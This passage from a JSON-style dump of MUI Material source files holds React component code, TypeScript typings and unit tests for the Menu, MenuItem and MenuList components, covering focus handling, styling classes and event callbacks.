expect(screen.getByTestId('paper')).to.have.class(paperClasses.elevation12);\n      expect(screen.getByTestId('paper')).to.have.class(customClasses.rounded);\n    });\n  });\n\n  it('should pass onClose prop to Popover', () => {\n    const handleClose = spy();\n    render(<Menu anchorEl={defaultAnchorEl} open onClose={handleClose} />);\n\n    fireEvent.keyDown(screen.getByRole('menu'), { key: 'Escape' });\n\n    expect(handleClose.callCount).to.equal(1);\n  });\n\n  it('renders its children only when open', () => {\n    const { setProps } = render(\n      <Menu anchorEl={defaultAnchorEl} open={false}>\n        <div data-testid=\"children\" />\n      </Menu>,\n    );\n\n    expect(screen.queryByTestId('children')).to.equal(null);\n\n    setProps({ open: true });\n\n    expect(screen.getByTestId('children')).not.to.equal(null);\n  });\n\n  describe('list node', () => {\n    it('should render a menu inside the Popover', () => {\n      render(<Menu anchorEl={defaultAnchorEl} open data-testid=\"popover\" />);\n\n      expect(screen.getByTestId('popover').querySelector('[role=\"menu\"]')).not.to.equal(null);\n    });\n  });\n\n  it('should open during the initial mount', () => {\n    function MenuItem(props) {\n      const { autoFocus, children } = props;\n      return (\n        <div role=\"menuitem\" tabIndex={-1} data-autofocus={autoFocus}>\n          {children}\n        </div>\n      );\n    }\n    render(\n      <Menu anchorEl={defaultAnchorEl} open>\n        <MenuItem>one</MenuItem>\n      </Menu>,\n    );\n\n    expect(screen.getByRole('menuitem')).to.have.attribute('data-autofocus', 'true');\n  });\n\n  it('should not focus list if autoFocus=false', () => {\n    render(\n      <Menu anchorEl={defaultAnchorEl} autoFocus={false} open>\n        <div tabIndex={-1} />\n      </Menu>,\n    );\n\n    expect(screen.getByRole('menu')).not.toHaveFocus();\n  });\n\n  it('should call slotProps.transition.onEntering', () => {\n    const onEnteringSpy = spy();\n    render(\n      <Menu\n        anchorEl={defaultAnchorEl}\n        open\n        slotProps={{ transition: { onEntering: onEnteringSpy } }}\n      />,\n    );\n\n    expect(onEnteringSpy.callCount).to.equal(1);\n  });\n\n  it('should call slotProps.transition.onEntering, disableAutoFocusItem', () => {\n    const onEnteringSpy = spy();\n    render(\n      <Menu\n        anchorEl={defaultAnchorEl}\n        disableAutoFocusItem\n        open\n        slotProps={{ transition: { onEntering: onEnteringSpy } }}\n      />,\n    );\n\n    expect(onEnteringSpy.callCount).to.equal(1);\n  });\n\n  it('should call onClose on tab', () => {\n    function MenuItem(props) {\n      const { autoFocus, children } = props;\n\n      const ref = React.useRef(null);\n      React.useEffect(() => {\n        if (autoFocus) {\n          ref.current.focus();\n        }\n      }, [autoFocus]);\n\n      return (\n        <div ref={ref} role=\"menuitem\" tabIndex={-1}>\n          {children}\n        </div>\n      );\n    }\n    const onCloseSpy = spy();\n    render(\n      <Menu anchorEl={defaultAnchorEl} open onClose={onCloseSpy}>\n        <MenuItem>hello</MenuItem>\n      </Menu>,\n    );\n\n    fireEvent.keyDown(screen.getByRole('menuitem'), { key: 'Tab' });\n\n    expect(onCloseSpy.callCount).to.equal(1);\n    expect(onCloseSpy.args[0][1]).to.equal('tabKeyDown');\n  });\n\n  it('ignores invalid children', () => {\n    render(\n      <Menu anchorEl={defaultAnchorEl} open>\n        {null}\n        <span role=\"menuitem\">hello</span>\n        {/* testing conditional rendering */}\n        {/* eslint-disable-next-line no-constant-binary-expression */}\n        {false && <span role=\"menuitem\">hello</span>}\n        {undefined}\n        foo\n      </Menu>,\n    );\n\n    expect(screen.getAllByRole('menuitem')).to.have.length(1);\n  });\n\n  describe('warnings', () => {\n    it('warns a Fragment is passed as a child', () => {\n      expect(() => {\n        render(\n          <Menu anchorEl={defaultAnchorEl} open={false}>\n            {/* eslint-disable-next-line react/jsx-no-useless-fragment */}\n            <React.Fragment />\n          </Menu>,\n        );\n      }).toErrorDev([\n        \"MUI: The Menu component doesn't accept a Fragment as a child.\",\n        !strictModeDoubleLoggingSuppressed &&\n          \"MUI: The Menu component doesn't accept a Fragment as a child.\",\n      ]);\n    });\n  });\n\n  describe('theme customization', () => {\n    it.skipIf(isJsdom())(\n      'should override Menu Paper styles following correct precedence',\n      function test() {\n        const menuPaperOverrides = { borderRadius: 4 };\n        const popoverPaperOverrides = { borderRadius: 8, height: 100 };\n        const rootPaperOverrides = { borderRadius: 16, height: 200, width: 200 };\n\n        const theme = createTheme({\n          components: {\n            MuiMenu: { styleOverrides: { paper: menuPaperOverrides } },\n            MuiPopover: { styleOverrides: { paper: popoverPaperOverrides } },\n            MuiPaper: { styleOverrides: { root: rootPaperOverrides } },\n          },\n        });\n\n        render(\n          <ThemeProvider theme={theme}>\n            <Menu\n              anchorEl={defaultAnchorEl}\n              open\n              slotProps={{ paper: { 'data-testid': 'paper' } }}\n            />\n          </ThemeProvider>,\n        );\n\n        const paper = screen.getByTestId('paper');\n        expect(paper).toHaveComputedStyle({\n          borderTopLeftRadius: `${menuPaperOverrides.borderRadius}px`,\n          borderBottomLeftRadius: `${menuPaperOverrides.borderRadius}px`,\n          borderTopRightRadius: `${menuPaperOverrides.borderRadius}px`,\n          borderBottomRightRadius: `${menuPaperOverrides.borderRadius}px`,\n          height: `${popoverPaperOverrides.height}px`,\n          width: `${rootPaperOverrides.width}px`,\n        });\n      },\n    );\n\n    it.skipIf(isJsdom())(\n      'should override Menu Paper styles using styles in MuiPaper slot',\n      function test() {\n        const theme = createTheme({\n          components: {\n            MuiPaper: { styleOverrides: { rounded: { borderRadius: 90 } } },\n          },\n        });\n\n        render(\n          <ThemeProvider theme={theme}>\n            <Menu\n              anchorEl={defaultAnchorEl}\n              open\n              slotProps={{ paper: { 'data-testid': 'paper' } }}\n            />\n          </ThemeProvider>,\n        );\n\n        const paper = screen.getByTestId('paper');\n        expect(paper).toHaveComputedStyle({\n          borderTopLeftRadius: '90px',\n          borderBottomLeftRadius: '90px',\n          borderTopRightRadius: '90px',\n          borderBottomRightRadius: '90px',\n        });\n      },\n    );\n  });\n\n  describe('slots', () => {\n    it('should merge slots with existing values', () => {\n      render(\n        <Menu\n          slots={{ root: 'span' }}\n          slotProps={{ paper: { 'data-testid': 'paper' } }}\n          anchorEl={defaultAnchorEl}\n          open\n        >\n          <div />\n        </Menu>,\n      );\n\n      expect(screen.getByTestId('paper')).to.have.length(1);\n    });\n  });\n});\n"
  },
  {
    "path": "packages/mui-material/src/Menu/index.d.ts",
    "content": "export { default } from './Menu';\nexport * from './Menu';\n\nexport { default as menuClasses } from './menuClasses';\nexport * from './menuClasses';\n"
  },
  {
    "path": "packages/mui-material/src/Menu/index.js",
    "content": "export { default } from './Menu';\n\nexport { default as menuClasses } from './menuClasses';\nexport * from './menuClasses';\n"
  },
  {
    "path": "packages/mui-material/src/Menu/menuClasses.ts",
    "content": "import generateUtilityClasses from '@mui/utils/generateUtilityClasses';\nimport generateUtilityClass from '@mui/utils/generateUtilityClass';\n\nexport interface MenuClasses {\n  /** Styles applied to the root element. */\n  root: string;\n  /** Styles applied to the Paper component. */\n  paper: string;\n  /** Styles applied to the List component via `MenuList`. */\n  list: string;\n}\n\nexport type MenuClassKey = keyof MenuClasses;\n\nexport function getMenuUtilityClass(slot: string): string {\n  return generateUtilityClass('MuiMenu', slot);\n}\n\nconst menuClasses: MenuClasses = generateUtilityClasses('MuiMenu', ['root', 'paper', 'list']);\n\nexport default menuClasses;\n"
  },
  {
    "path": "packages/mui-material/src/MenuItem/MenuItem.d.ts",
    "content": "import * as React from 'react';\nimport { SxProps } from '@mui/system';\nimport { Theme } from '../styles';\nimport { ExtendButtonBase, ExtendButtonBaseTypeMap } from '../ButtonBase';\nimport { OverrideProps } from '../OverridableComponent';\nimport { MenuItemClasses } from './menuItemClasses';\n\nexport interface MenuItemOwnProps {\n  /**\n   * If `true`, the list item is focused during the first mount.\n   * Focus will also be triggered if the value changes from false to true.\n   * @default false\n   */\n  autoFocus?: boolean | undefined;\n  /**\n   * Override or extend the styles applied to the component.\n   */\n  classes?: Partial<MenuItemClasses> | undefined;\n  /**\n   * If `true`, compact vertical padding designed for keyboard and mouse input is used.\n   * The prop defaults to the value inherited from the parent Menu component.\n   * @default false\n   */\n  dense?: boolean | undefined;\n  /**\n   * If `true`, the component is disabled.\n   * @default false\n   */\n  disabled?: boolean | undefined;\n  /**\n   * If `true`, the left and right padding is removed.\n   * @default false\n   */\n  disableGutters?: boolean | undefined;\n  /**\n   * If `true`, a 1px light border is added to the bottom of the menu item.\n   * @default false\n   */\n  divider?: boolean | undefined;\n  /**\n   * If `true`, the component is selected.\n   * @default false\n   */\n  selected?: boolean | undefined;\n  /**\n   * The system prop that allows defining system overrides as well as additional CSS styles.\n   */\n  sx?: SxProps<Theme> | undefined;\n}\n\nexport type MenuItemTypeMap<\n  AdditionalProps = {},\n  RootComponent extends React.ElementType = 'li',\n> = ExtendButtonBaseTypeMap<{\n  props: AdditionalProps & MenuItemOwnProps;\n  defaultComponent: RootComponent;\n}>;\n\n/**\n *\n * Demos:\n *\n * - [Menu](https://next.mui.com/material-ui/react-menu/)\n *\n * API:\n *\n * - [MenuItem API](https://next.mui.com/material-ui/api/menu-item/)\n * - inherits [ButtonBase API](https://next.mui.com/material-ui/api/button-base/)\n */\ndeclare const MenuItem: ExtendButtonBase<MenuItemTypeMap>;\n\nexport type MenuItemProps<\n  RootComponent extends React.ElementType = MenuItemTypeMap['defaultComponent'],\n  AdditionalProps = {},\n> = OverrideProps<MenuItemTypeMap<AdditionalProps, RootComponent>, RootComponent> & {\n  component?: React.ElementType | undefined;\n};\n\nexport default MenuItem;\n"
  },
  {
    "path": "packages/mui-material/src/MenuItem/MenuItem.js",
    "content": "'use client';\nimport * as React from 'react';\nimport PropTypes from 'prop-types';\nimport clsx from 'clsx';\nimport composeClasses from '@mui/utils/composeClasses';\nimport rootShouldForwardProp from '../styles/rootShouldForwardProp';\nimport { styled } from '../zero-styled';\nimport memoTheme from '../utils/memoTheme';\nimport { useDefaultProps } from '../DefaultPropsProvider';\nimport ListContext from '../List/ListContext';\nimport ButtonBase from '../ButtonBase';\nimport useEnhancedEffect from '../utils/useEnhancedEffect';\nimport useForkRef from '../utils/useForkRef';\nimport { dividerClasses } from '../Divider';\nimport { listItemIconClasses } from '../ListItemIcon';\nimport { listItemTextClasses } from '../ListItemText';\nimport menuItemClasses, { getMenuItemUtilityClass } from './menuItemClasses';\nimport { useSelectFocusSource } from '../Select';\n\n/**\n * If autoFocus is an object, it will attempt to call `element.focus()` with the options argument.\n * If the browser doesn't support the options argument, it will fall back to a simple `element.focus()` call.\n */\nfunction focusWithVisible(element, focusSource) {\n  if (focusSource == null) {\n    element.focus();\n    return;\n  }\n\n  try {\n    element.focus({ focusVisible: focusSource === 'keyboard' });\n  } catch (error) {\n    // If the browser doesn't support the focus options argument, fall back to a simple focus call.\n    element.focus();\n  }\n}\n\nexport const overridesResolver = (props, styles) => {\n  const { ownerState } = props;\n\n  return [\n    styles.root,\n    ownerState.dense && styles.dense,\n    ownerState.divider && styles.divider,\n    !ownerState.disableGutters && styles.gutters,\n  ];\n};\n\nconst useUtilityClasses = (ownerState) => {\n  const { disabled, dense, divider, disableGutters, selected, classes } = ownerState;\n  const slots = {\n    root: [\n      'root',\n      dense && 'dense',\n      disabled && 'disabled',\n      !disableGutters && 'gutters',\n      divider && 'divider',\n      selected && 'selected',\n    ],\n  };\n\n  const composedClasses = composeClasses(slots, getMenuItemUtilityClass, classes);\n\n  return {\n    ...classes,\n    ...composedClasses,\n  };\n};\n\nconst MenuItemRoot = styled(ButtonBase, {\n  shouldForwardProp: (prop) => rootShouldForwardProp(prop) || prop === 'classes',\n  name: 'MuiMenuItem',\n  slot: 'Root',\n  overridesResolver,\n})(\n  memoTheme(({ theme }) => ({\n    ...theme.typography.body1,\n    display: 'flex',\n    justifyContent: 'flex-start',\n    alignItems: 'center',\n    position: 'relative',\n    textDecoration: 'none',\n    minHeight: 48,\n    paddingTop: 6,\n    paddingBottom: 6,\n    boxSizing: 'border-box',\n    whiteSpace: 'nowrap',\n    '&:hover': {\n      textDecoration: 'none',\n      backgroundColor: (theme.vars || theme).palette.action.hover,\n      // Reset on touch devices, it doesn't add specificity\n      '@media (hover: none)': {\n        backgroundColor: 'transparent',\n      },\n    },\n    [`&.${menuItemClasses.selected}`]: {\n      backgroundColor: theme.alpha(\n        (theme.vars || theme).palette.primary.main,\n        (theme.vars || theme).palette.action.selectedOpacity,\n      ),\n      [`&.${menuItemClasses.focusVisible}`]: {\n        backgroundColor: theme.alpha(\n          (theme.vars || theme).palette.primary.main,\n          `${(theme.vars || theme).palette.action.selectedOpacity} + ${(theme.vars || theme).palette.action.focusOpacity}`,\n        ),\n      },\n    },\n    [`&.${menuItemClasses.selected}:hover`]: {\n      backgroundColor: theme.alpha(\n        (theme.vars || theme).palette.primary.main,\n        `${(theme.vars || theme).palette.action.selectedOpacity} + ${(theme.vars || theme).palette.action.hoverOpacity}`,\n      ),\n      // Reset on touch devices, it doesn't add specificity\n      '@media (hover: none)': {\n        backgroundColor: theme.alpha(\n          (theme.vars || theme).palette.primary.main,\n          (theme.vars || theme).palette.action.selectedOpacity,\n        ),\n      },\n    },\n    [`&.${menuItemClasses.focusVisible}`]: {\n      backgroundColor: (theme.vars || theme).palette.action.focus,\n    },\n    [`&.${menuItemClasses.disabled}`]: {\n      opacity: (theme.vars || theme).palette.action.disabledOpacity,\n    },\n    [`& + .${dividerClasses.root}`]: {\n      marginTop: theme.spacing(1),\n      marginBottom: theme.spacing(1),\n    },\n    [`& + .${dividerClasses.inset}`]: {\n      marginLeft: 52,\n    },\n    [`& .${listItemTextClasses.root}`]: {\n      marginTop: 0,\n      marginBottom: 0,\n    },\n    [`& .${listItemTextClasses.inset}`]: {\n      paddingLeft: 36,\n    },\n    [`& .${listItemIconClasses.root}`]: {\n      minWidth: 36,\n    },\n    variants: [\n      {\n        props: ({ ownerState }) => !ownerState.disableGutters,\n        style: {\n          paddingLeft: 16,\n          paddingRight: 16,\n        },\n      },\n      {\n        props: ({ ownerState }) => ownerState.divider,\n        style: {\n          borderBottom: `1px solid ${(theme.vars || theme).palette.divider}`,\n          backgroundClip: 'padding-box',\n        },\n      },\n      {\n        props: ({ ownerState }) => !ownerState.dense,\n        style: {\n          [theme.breakpoints.up('sm')]: {\n            minHeight: 'auto',\n          },\n        },\n      },\n      {\n        props: ({ ownerState }) => ownerState.dense,\n        style: {\n          minHeight: 32, // https://m2.material.io/components/menus#specs > Dense\n          paddingTop: 4,\n          paddingBottom: 4,\n          ...theme.typography.body2,\n          [`& .${listItemIconClasses.root} svg`]: {\n            fontSize: '1.25rem',\n          },\n        },\n      },\n    ],\n  })),\n);\n\nconst MenuItem = React.forwardRef(function MenuItem(inProps, ref) {\n  const props = useDefaultProps({ props: inProps, name: 'MuiMenuItem' });\n  const {\n    autoFocus = false,\n    component = 'li',\n    dense = false,\n    divider = false,\n    disableGutters = false,\n    focusVisibleClassName,\n    role = 'menuitem',\n    tabIndex: tabIndexProp,\n    className,\n    ...other\n  } = props;\n\n  const focusSource = useSelectFocusSource();\n  const context = React.useContext(ListContext);\n  const childContext = React.useMemo(\n    () => ({\n      dense: dense || context.dense || false,\n      disableGutters,\n    }),\n    [context.dense, dense, disableGutters],\n  );\n\n  const menuItemRef = React.useRef(null);\n  useEnhancedEffect(() => {\n    if (autoFocus) {\n      if (menuItemRef.current) {\n        focusWithVisible(menuItemRef.current, focusSource);\n      } else if (process.env.NODE_ENV !== 'production') {\n        console.error(\n          'MUI: Unable to set focus to a MenuItem whose component has not been rendered.',\n        );\n      }\n    }\n    // eslint-disable-next-line react-hooks/exhaustive-deps\n  }, [autoFocus]);\n\n  const ownerState = {\n    ...props,\n    dense: childContext.dense,\n    divider,\n    disableGutters,\n  };\n\n  const classes = useUtilityClasses(props);\n\n  const handleRef = useForkRef(menuItemRef, ref);\n\n  let tabIndex;\n  if (!props.disabled) {\n    tabIndex = tabIndexProp !== undefined ? tabIndexProp : -1;\n  }\n\n  return (\n    <ListContext.Provider value={childContext}>\n      <MenuItemRoot\n        ref={handleRef}\n        role={role}\n        tabIndex={tabIndex}\n        component={component}\n        internalNativeButton={false}\n        focusVisibleClassName={clsx(classes.focusVisible, focusVisibleClassName)}\n        className={clsx(classes.root, className)}\n        {...other}\n        ownerState={ownerState}\n        classes={classes}\n      />\n    </ListContext.Provider>\n  );\n});\n\nMenuItem.propTypes /* remove-proptypes */ = {\n  // ┌────────────────────────────── Warning ──────────────────────────────┐\n  // │ These PropTypes are generated from the TypeScript type definitions. │\n  // │    To update them, edit the d.ts file and run `pnpm proptypes`.     │\n  // └─────────────────────────────────────────────────────────────────────┘\n  /**\n   * If `true`, the list item is focused during the first mount.\n   * Focus will also be triggered if the value changes from false to true.\n   * @default false\n   */\n  autoFocus: PropTypes.bool,\n  /**\n   * The content of the component.\n   */\n  children: PropTypes.node,\n  /**\n   * Override or extend the styles applied to the component.\n   */\n  classes: PropTypes.object,\n  /**\n   * @ignore\n   */\n  className: PropTypes.string,\n  /**\n   * The component used for the root node.\n   * Either a string to use a HTML element or a component.\n   */\n  component: PropTypes.elementType,\n  /**\n   * If `true`, compact vertical padding designed for keyboard and mouse input is used.\n   * The prop defaults to the value inherited from the parent Menu component.\n   * @default false\n   */\n  dense: PropTypes.bool,\n  /**\n   * @ignore\n   */\n  disabled: PropTypes.bool,\n  /**\n   * If `true`, the left and right padding is removed.\n   * @default false\n   */\n  disableGutters: PropTypes.bool,\n  /**\n   * If `true`, a 1px light border is added to the bottom of the menu item.\n   * @default false\n   */\n  divider: PropTypes.bool,\n  /**\n   * This prop can help identify which element has keyboard focus.\n   * The class name will be applied when the element gains the focus through keyboard interaction.\n   * It's a polyfill for the [CSS :focus-visible selector](https://drafts.csswg.org/selectors-4/#the-focus-visible-pseudo).\n   * The rationale for using this feature [is explained here](https://github.com/WICG/focus-visible/blob/HEAD/explainer.md).\n   * A [polyfill can be used](https://github.com/WICG/focus-visible) to apply a `focus-visible` class to other components\n   * if needed.\n   */\n  focusVisibleClassName: PropTypes.string,\n  /**\n   * @ignore\n   */\n  role: PropTypes.string,\n  /**\n   * If `true`, the component is selected.\n   * @default false\n   */\n  selected: PropTypes.bool,\n  /**\n   * The system prop that allows defining system overrides as well as additional CSS styles.\n   */\n  sx: PropTypes.oneOfType([\n    PropTypes.arrayOf(PropTypes.oneOfType([PropTypes.func, PropTypes.object, PropTypes.bool])),\n    PropTypes.func,\n    PropTypes.object,\n  ]),\n  /**\n   * @default 0\n   */\n  tabIndex: PropTypes.number,\n};\n\nexport default MenuItem;\n"
  },
  {
    "path": "packages/mui-material/src/MenuItem/MenuItem.spec.tsx",
    "content": "import * as React from 'react';\nimport { expectType } from '@mui/types';\nimport MenuItem, { MenuItemProps } from '@mui/material/MenuItem';\nimport Link from '@mui/material/Link';\n\nconst CustomComponent: React.FC<{ stringProp: string; numberProp: number }> =\n  function CustomComponent() {\n    return <div />;\n  };\n\nconst props1: MenuItemProps<'div'> = {\n  component: 'div',\n  onChange: (event) => {\n    expectType<React.ChangeEvent<HTMLDivElement>, typeof event>(event);\n  },\n};\n\nconst props2: MenuItemProps = {\n  onChange: (event) => {\n    expectType<React.ChangeEvent<HTMLLIElement>, typeof event>(event);\n  },\n};\n\nconst props3: MenuItemProps<typeof CustomComponent> = {\n  component: CustomComponent,\n  stringProp: '2',\n  numberProp: 2,\n};\n\nconst props4: MenuItemProps<typeof CustomComponent> = {\n  component: CustomComponent,\n  stringProp: '2',\n  numberProp: 2,\n  // @ts-expect-error CustomComponent does not accept incorrectProp\n  incorrectProp: 3,\n};\n\n// @ts-expect-error missing props\nconst props5: MenuItemProps<typeof CustomComponent> = {\n  component: CustomComponent,\n};\n\nconst TestComponent = () => {\n  return (\n    <React.Fragment>\n      <MenuItem />\n      <MenuItem component={'a'} href=\"/test\" />\n\n      <MenuItem component={CustomComponent} stringProp=\"s\" numberProp={1} />\n      {\n        // @ts-expect-error missing props\n        <MenuItem component={CustomComponent} />\n      }\n      <MenuItem\n        onChange={(event) => {\n          expectType<React.ChangeEvent<HTMLLIElement>, typeof event>(event);\n        }}\n      />\n      <MenuItem\n        component=\"span\"\n        onChange={(event) => {\n          expectType<React.ChangeEvent<HTMLSpanElement>, typeof event>(event);\n        }}\n      />\n      <MenuItem component={Link} />\n    </React.Fragment>\n  );\n};\n"
  },
  {
    "path": "packages/mui-material/src/MenuItem/MenuItem.test.js",
    "content": "import { expect } from 'chai';\nimport { spy } from 'sinon';\nimport { act, createRenderer, fireEvent, screen, supportsTouch } from '@mui/internal-test-utils';\nimport MenuItem, { menuItemClasses as classes } from '@mui/material/MenuItem';\nimport ButtonBase from '@mui/material/ButtonBase';\nimport ListContext from '../List/ListContext';\nimport describeConformance from '../../test/describeConformance';\nimport * as ripple from '../../test/ripple';\n\ndescribe('<MenuItem />', () => {\n  const { render } = createRenderer();\n\n  describeConformance(<MenuItem />, () => ({\n    classes,\n    inheritComponent: ButtonBase,\n    render,\n    refInstanceof: window.HTMLLIElement,\n    testComponentPropWith: 'a',\n    muiName: 'MuiMenuItem',\n    testVariantProps: { dense: true },\n  }));\n\n  it('should render a focusable menuitem', () => {\n    render(<MenuItem />);\n    const menuitem = screen.getByRole('menuitem');\n\n    expect(menuitem).to.have.property('tabIndex', -1);\n  });\n\n  it('has a ripple when clicked', async () => {\n    render(<MenuItem TouchRippleProps={{ classes: { rippleVisible: 'ripple-visible' } }} />);\n    const menuitem = screen.getByRole('menuitem');\n\n    await ripple.startTouch(menuitem);\n\n    expect(menuitem.querySelectorAll('.ripple-visible')).to.have.length(1);\n  });\n\n  it('should render with the selected class but not aria-selected when `selected`', () => {\n    render(<MenuItem selected />);\n    const menuitem = screen.getByRole('menuitem');\n\n    expect(menuitem).to.have.class(classes.selected);\n    expect(menuitem).not.to.have.attribute('aria-selected');\n  });\n\n  it('can have a role of option', () => {\n    render(<MenuItem role=\"option\" aria-selected={false} />);\n\n    expect(screen.queryByRole('option')).not.to.equal(null);\n  });\n\n  describe('event callbacks', () => {\n    /**\n     * @type {Array<keyof typeof fireEvent>}\n     */\n    const events = ['click', 'mouseDown', 'mouseEnter', 'mouseLeave', 'mouseUp', 'touchEnd'];\n\n    events.forEach((eventName) => {\n      it(`should fire ${eventName}`, async () => {\n        const handlerName = `on${eventName[0].toUpperCase()}${eventName.slice(1)}`;\n        const handler = spy();\n        render(<MenuItem {...{ [handlerName]: handler }} />);\n\n        fireEvent[eventName](screen.getByRole('menuitem'));\n\n        expect(handler.callCount).to.equal(1);\n\n        // eslint-disable-next-line testing-library/no-unnecessary-act\n        await act(async () => {});\n      });\n    });\n\n    it(`should fire focus, keydown, keyup and blur`, async () => {\n      const handleFocus = spy();\n      const handleKeyDown = spy();\n      const handleKeyUp = spy();\n      const handleBlur = spy();\n      render(\n        <MenuItem\n          onFocus={handleFocus}\n          onKeyDown={handleKeyDown}\n          onKeyUp={handleKeyUp}\n          onBlur={handleBlur}\n        />,\n      );\n      const menuitem = screen.getByRole('menuitem');\n\n      await act(async () => {\n        menuitem.focus();\n      });\n\n      expect(handleFocus.callCount).to.equal(1);\n\n      fireEvent.keyDown(menuitem);\n\n      expect(handleKeyDown.callCount).to.equal(1);\n\n      fireEvent.keyUp(menuitem);\n\n      expect(handleKeyUp.callCount).to.equal(1);\n\n      await act(async () => menuitem.blur());\n\n      expect(handleKeyDown.callCount).to.equal(1);\n    });\n\n    // only run in supported browsers\n    it.skipIf(!supportsTouch())('should fire onTouchStart', function touchStartTest() {\n      const handleTouchStart = spy();\n      render(<MenuItem onTouchStart={handleTouchStart} />);\n      const menuitem = screen.getByRole('menuitem');\n\n      const touch = new Touch({ identifier: 0, target: menuitem, clientX: 0, clientY: 0 });\n      fireEvent.touchStart(menuitem, { touches: [touch] });\n\n      expect(handleTouchStart.callCount).to.equal(1);\n    });\n  });\n\n  it('can be disabled', () => {\n    render(<MenuItem disabled />);\n    const menuitem = screen.getByRole('menuitem');\n\n    expect(menuitem).to.have.attribute('aria-disabled', 'true');\n  });\n\n  it('can be selected', () => {\n    render(<MenuItem selected />);\n    const menuitem = screen.getByRole('menuitem');\n\n    expect(menuitem).to.have.class(classes.selected);\n  });\n\n  it('prop: disableGutters', () => {\n    const view = render(<MenuItem />);\n    const menuitem = screen.getByRole('menuitem');\n\n    expect(menuitem).to.have.class(classes.gutters);\n\n    view.rerender(<MenuItem disableGutters />);\n\n    expect(menuitem).not.to.have.class(classes.gutters);\n  });\n\n  describe('prop: nativeButton', () => {\n    it('preserves role=\"menuitem\" over pseudo-button role', () => {\n      render(<MenuItem />);\n\n      const menuitem = screen.getByRole('menuitem');\n      expect(menuitem).to.have.tagName('LI');\n      expect(menuitem).not.to.have.attribute('role', 'button');\n    });\n\n    it('preserves custom tabIndex over pseudo-button tabIndex', () => {\n      render(<MenuItem />);\n\n      const menuitem = screen.getByRole('menuitem');\n      expect(menuitem).to.have.property('tabIndex', -1);\n    });\n  });\n\n  describe('context: dense', () => {\n    it('should forward the context', () => {\n      let context = null;\n      const { setProps } = render(\n        <MenuItem>\n          <ListContext.Consumer>\n            {(options) => {\n              context = options;\n            }}\n          </ListContext.Consumer>\n        </MenuItem>,\n      );\n      expect(context).to.have.property('dense', false);\n      setProps({ dense: true });\n      expect(context).to.have.property('dense', true);\n    });\n  });\n});\n"
  },
  {
    "path": "packages/mui-material/src/MenuItem/index.d.ts",
    "content": "export { default } from './MenuItem';\nexport * from './MenuItem';\n\nexport * from './menuItemClasses';\nexport { default as menuItemClasses } from './menuItemClasses';\n"
  },
  {
    "path": "packages/mui-material/src/MenuItem/index.js",
    "content": "export { default } from './MenuItem';\n\nexport * from './menuItemClasses';\nexport { default as menuItemClasses } from './menuItemClasses';\n"
  },
  {
    "path": "packages/mui-material/src/MenuItem/menuItemClasses.ts",
    "content": "import generateUtilityClasses from '@mui/utils/generateUtilityClasses';\nimport generateUtilityClass from '@mui/utils/generateUtilityClass';\n\nexport interface MenuItemClasses {\n  /** Styles applied to the root element. */\n  root: string;\n  /** State class applied to the root element if keyboard focused. */\n  focusVisible: string;\n  /** Styles applied to the root element if dense. */\n  dense: string;\n  /** State class applied to the root element if `disabled={true}`. */\n  disabled: string;\n  /** Styles applied to the root element if `divider={true}`. */\n  divider: string;\n  /** Styles applied to the inner `component` element unless `disableGutters={true}`. */\n  gutters: string;\n  /** State class applied to the root element if `selected={true}`. */\n  selected: string;\n}\n\nexport type MenuItemClassKey = keyof MenuItemClasses;\n\nexport function getMenuItemUtilityClass(slot: string): string {\n  return generateUtilityClass('MuiMenuItem', slot);\n}\n\nconst menuItemClasses: MenuItemClasses = generateUtilityClasses('MuiMenuItem', [\n  'root',\n  'focusVisible',\n  'dense',\n  'disabled',\n  'divider',\n  'gutters',\n  'selected',\n]);\n\nexport default menuItemClasses;\n"
  },
  {
    "path": "packages/mui-material/src/MenuList/MenuList.d.ts",
    "content": "import * as React from 'react';\nimport { ExtendList, ExtendListTypeMap } from '../List';\nimport { OverrideProps } from '../OverridableComponent';\n\nexport interface MenuListOwnProps {\n  /**\n   * If `true`, will focus the `[role=\"menu\"]` container and move into tab order.\n   * @default false\n   */\n  autoFocus?: boolean | undefined;\n  /**\n   * If `true`, will focus the first menuitem if `variant=\"menu\"` or selected item\n   * if `variant=\"selectedMenu\"`.\n   * @default false\n   */\n  autoFocusItem?: boolean | undefined;\n  /**\n   * MenuList contents, normally `MenuItem`s.\n   */\n  children?: React.ReactNode;\n  /**\n   * If `true`, will allow focus on disabled items.\n   * @default false\n   */\n  disabledItemsFocusable?: boolean | undefined;\n  /**\n   * If `true`, the menu items will not wrap focus.\n   * @default false\n   */\n  disableListWrap?: boolean | undefined;\n  /**\n   * The variant to use. Use `menu` to prevent selected items from impacting the initial focus\n   * and the vertical alignment relative to the anchor element.\n   * @default 'selectedMenu'\n   */\n  variant?: 'menu' | 'selectedMenu' | undefined;\n}\n\nexport type MenuListTypeMap<\n  AdditionalProps = {},\n  RootComponent extends React.ElementType = 'ul',\n> = ExtendListTypeMap<{\n  props: AdditionalProps & MenuListOwnProps;\n  defaultComponent: RootComponent;\n}>;\n\nexport type MenuListClassKey = keyof NonNullable<MenuListTypeMap['props']['classes']>;\n\n/**\n * A permanently displayed menu following https://www.w3.org/WAI/ARIA/apg/patterns/menu-button/.\n * It's exposed to help customization of the [`Menu`](https://next.mui.com/material-ui/api/menu/) component if you\n * use it separately you need to move focus into the component manually. Once\n * the focus is placed inside the component it is fully keyboard accessible.\n *\n * Demos:\n *\n * - [Menu](https://next.mui.com/material-ui/react-menu/)\n *\n * API:\n *\n * - [MenuList API](https://next.mui.com/material-ui/api/menu-list/)\n * - inherits [List API](https://next.mui.com/material-ui/api/list/)\n */\ndeclare const MenuList: ExtendList<MenuListTypeMap>;\n\nexport type MenuListProps<\n  RootComponent extends React.ElementType = MenuListTypeMap['defaultComponent'],\n  AdditionalProps = {},\n> = OverrideProps<MenuListTypeMap<AdditionalProps, RootComponent>, RootComponent> & {\n  component?: React.ElementType | undefined;\n};\n\nexport default MenuList;\n"
  },
  {
    "path": "packages/mui-material/src/MenuList/MenuList.js",
